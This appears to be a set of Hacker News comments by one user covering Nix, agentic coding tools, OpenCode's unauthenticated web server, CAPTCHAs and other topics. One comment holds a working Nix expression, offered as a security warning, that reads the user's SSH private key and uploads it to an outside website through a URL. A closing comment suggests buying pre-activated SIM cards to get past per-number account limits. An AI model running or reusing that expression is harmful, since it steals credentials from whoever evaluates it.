CyberShadow

Kernel panic.

Seems to be that the sort function accepts a ternary predicate but then passes it to an implementation accepting a boolean one?

No, I think I'm seeing the same bug. Time seems to sometimes subjectively freeze:

    ─── Messages ───                                                                                                                                                                                                              
      Old man shuts the gate behind you. You hear him mutter "every time, I swear..."                                                                                                                                              
      You must retrieve the Amulet of Lost Semicolons.                                                                                                                                                                             
      You kill the rat! (sneak attack!)                                                                                                                                                                                            
      The rat squeals and dies!                                                                                                                                                                                                    
      You wait. (x10)                                                                                                                                 ᛜ                                                                            
    ᚢ You kill the rat! (sneak attack!)                                                             ᛉ                                                                                                                              
      The rat squeals and dies!                                                                                                                                                                                                    
      You hear muttering.                                                  ᛋ                                                                                                                                                       
      You hear muttering.                                                                                                                                                                                                          
      You hear muttering.                                                                                                                                                                                                          
      You hear a distant creak.                                                                                                                       ᛖ                                                     ᛃ                      
      The runestone crumbles as you touch it. You learn: ᛟ means "ice"!                                               ᛚ                                                                                                            
      You hear a distant creak.                                                                                                                                                                                                    
      The goblin misses you. (x3)                                                                                                                                                                                                  
      The goblin hits you for 4.                                                                                                                                                                                                   
      The goblin hits you for 3.                                                                                                           ᛏ                                                                                       
      The goblin hits you for 4.                                                                                                                                                                                                   
      The goblin hits you for 3.                                                                                                                                                                                                   
      The goblin misses you.                                                                                                 ᛚ                                                                                                     
      The goblin hits you for 4.                                                                                                                                                                                                   
      The goblin hits you for 2.                                                                                                                                                                                                   
      The goblin hits you for 4.                                                                                                                                                                                                   
      The goblin misses you.                                                                                                                                                                                                       
      The goblin hits you for 2.                                                                                                                                                                                                   
      The goblin misses you. (x2)                                                                                                                                                                                                  
      The goblin hits you for 2.                                                                                                                                                                                                   
      The goblin kills you!                                                                                                                                                                                                        
      You die...

Note how there were no user action messages during the time the goblin was attacking.

Same, I've added a .#screenshots derivation. High up-front effort but almost zero maintenance afterwards.

Bonus: since you're generating screenshots programmatically anyway, you can generate a pair of each with your app's light/dark theme, and swap them in/out depending on prefers-color-scheme: dark. <picture> elements work in GitHub READMEs, too: https://github.com/CyberShadow/CyDo#readme

If you grant access to the Nix daemon socket but not writing outside the current directory, that's an effective sandbox. It allows evaluating derivations but not actually installing them.

If you invoke Claude Code with --input-format stream-json --output-format stream-json, you can use it headlessly. I built a personal UI / orchestration framework around it. Most features are available, but not exactly all (e.g. there is no way to undo via this protocol, but you can still do it manually by terminating / editing the session file / resuming). Other agentic software has similar features (Codex uses JSON-RPC, Copilot CLI has ACP which is also based on JSON-RPC).

Are you on macOS? That might be a feature specific to that OS, I don't think Firefox does that on other OSes.

Can you share what made this behavior obvious to you? E.g. when I first saw Open Code, it looked like yet another implementation of Claude Code, Codex-CLI, Gemini-CLI, Project Goose, etc. - all these are TUI apps for agentic coding. However, from these, only Open Code automatically started an unauthenticated web server when I simply started the TUI, so this came as a surprise to me.

> Browsers don't let random pages on the internet hit localhost without prompting you anymore

No, that's a Chrome-specific feature that Google added. It is not part of any standard, and does not exist in other browsers (e.g. Safari and Firefox).

> The rest is just code running as your user can talk to code running as your user

No, that assumes that there is only a single user on the machine, and there are either no forms of isolation or that all forms of isolation also use private network namespaces, which has not been how daemons are isolated in UNIX or by systemd. For example, if you were to ever run OpenCode as root, any local process can trivially gain root as well.

PSA - please ensure you are running OpenCode v1.1.10 or newer: https://news.ycombinator.com/item?id=46581095

I don't think you understand. This website imposes its own time limit within which I must solve the CAPTCHA. Taking your time to solve the challenge slowly will not allow you to proceed, because the website's timeout will have expired.

Looks like it's impossible for me to use this service - when I try to submit the form, I get a reCAPTCHA challenge. By the time I complete it (Google requires me to make several attempts, each one being several pages), the page errors out in the background with "reCAPTCHA execution timeout".

How does it compare to CodeGemma for programming tasks?

Hi Graham!

Lots of exciting things here:

- Formally stabilizing flakes has been long awaited by everyone, I think.

- Parallel evaluation will improve developer experience - evaluation speed seems to be at the top of the list of feedback I've received from colleagues whom I've invited to try Nix.

- I'm hoping lazy trees will provide a better experience for flakes in monorepos.

Unfortunately I haven't had a great experience with the Determinate Nix installer when I tried it, though that was a while ago (shortly after launch) so may warrant revisiting.

I'm also concerned about the growing schism between Determinate Systems and the Nix community, as can be seen in the Discourse thread. I think there are opportunities to strengthen that bridge, e.g. naming things perhaps such that it's not possible to misinterpret this announcement as "Nix 3.0".

I am also curious to know what is your strategy for upholding the flakes stability guarantee without forking Nix. I'm not sure what the governance structure or roadmap is of the community Nix project, but would it not be possible that the project would want to eventually introduce a breaking change (e.g. to revisit the cross-compilation or parameterization aspects) that would affect Determinate Nix users?

> reinstates johnringer as nixpkgs maintainer

This is false.

> I'll repost for posterity:

There is no need to do that. People who want to see dead comments can turn that option on in their profile.

tmux takes over scrollback, so it's not possible to scroll the buffer in the same way as without tmux. This tool seems to solve the problem more elegantly.

> How is that supposed to "delete my home directory"?

Ah, I over-quoted that part. My mistake.

> Also, it doesn't work:

It will work with the default Nix settings.

> Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.

One would need to first turn it on to be able to turn it off.

> https://nixos.org/manual/nix/unstable/command-ref/conf-file....

Indeed, note the default value.

> I don't think it did. I'm not sure what it was supposed to help with.

I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.

Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.

In that comment, you wrote:

> It can delete your home directory or email your ssh private keys to Zimbabwe.

I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):

    let
      pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
    in
    builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"

It does not need --impure or any other unusual switches to work.

Hope this helps.

I tried participating when it came out. I think I spent an hour building something that was as reliable (in terms of getting the correct balls to the correct output) as I could. After I submitted it, I refreshed the page and found at that spot someone else's contraption (which was, admittedly, prettier, but not as reliable). Oh well; though, I wish that sort of thing was a bit more up front.

It also looks like I'm not the only one who hasn't figured out that the list of building blocks is scrollable!

This is very different. wireproxy seems to contain a userspace implementation of TCP and Wireguard. soks looks like an IP router than can only handle TCP, replacing routing tables as the control mechanism with something that decides to use or not use a SOCKS5 proxy.

YAML would be fine if parsers did not try to guess the type of values. 07 or 08 should not be parsed as integers or as strings, but stored as is until the application requests an integer or string.

FWIW, if you use matrix-docker-ansible-deploy, enabling the Sliding Sync proxy involves just adding one line to your configuration (for the most common setup).

https://github.com/spantaleev/matrix-docker-ansible-deploy/b...

Um, how exactly do you mean that? The pre-GitHub equivalent would be giving people commit access to the CVS/Subversion repository. This generally did not happen lightly either in most projects.

I use NameSilo but am 50/50 on it. Their control panel does not send a "Content-Type" header, which is effectively mandatory, and the support team flat out could not understand what I was talking to them when I was trying to point it out to them. It "worked" in Chrome and Firefox without add-ons and that's as far as their concern ended.

The settings page has this text:

> including where local laws restrict using pronouns other than those assigned at birth.

Where do such laws exist?

One rather un-obvious property of most mechanical keyboard switches made today is that the tactile feedback actually does not match the actuation point - meaning, the point at which the switch "clicks" is not the same point where the PC starts registering the keypress. In fact, in e.g. Cherry MX switches, these two are handled by separate mechanisms! The only switch type where actuation == tactile feedback that I know of is buckling-spring, as in the IBM model M.

This realization was a big moment of disillusionment in (most) mechanical keyboards for me :)

A slightly-relevant project: https://github.com/CyberShadow/ripfs

Also, could this be the same pisto of RubberWorm fame?

If I give you my phone number, and you have True Caller installed and save my number to your contacts, I unknowingly and unconsensually also give my phone number to True Caller and essentially the entire world.

Indeed. You may also want to buy a bunch of (preferably pre-activated) SIM cards, as registering such accounts will require a phone number, and they limit the number of accounts that can be created with one phone number.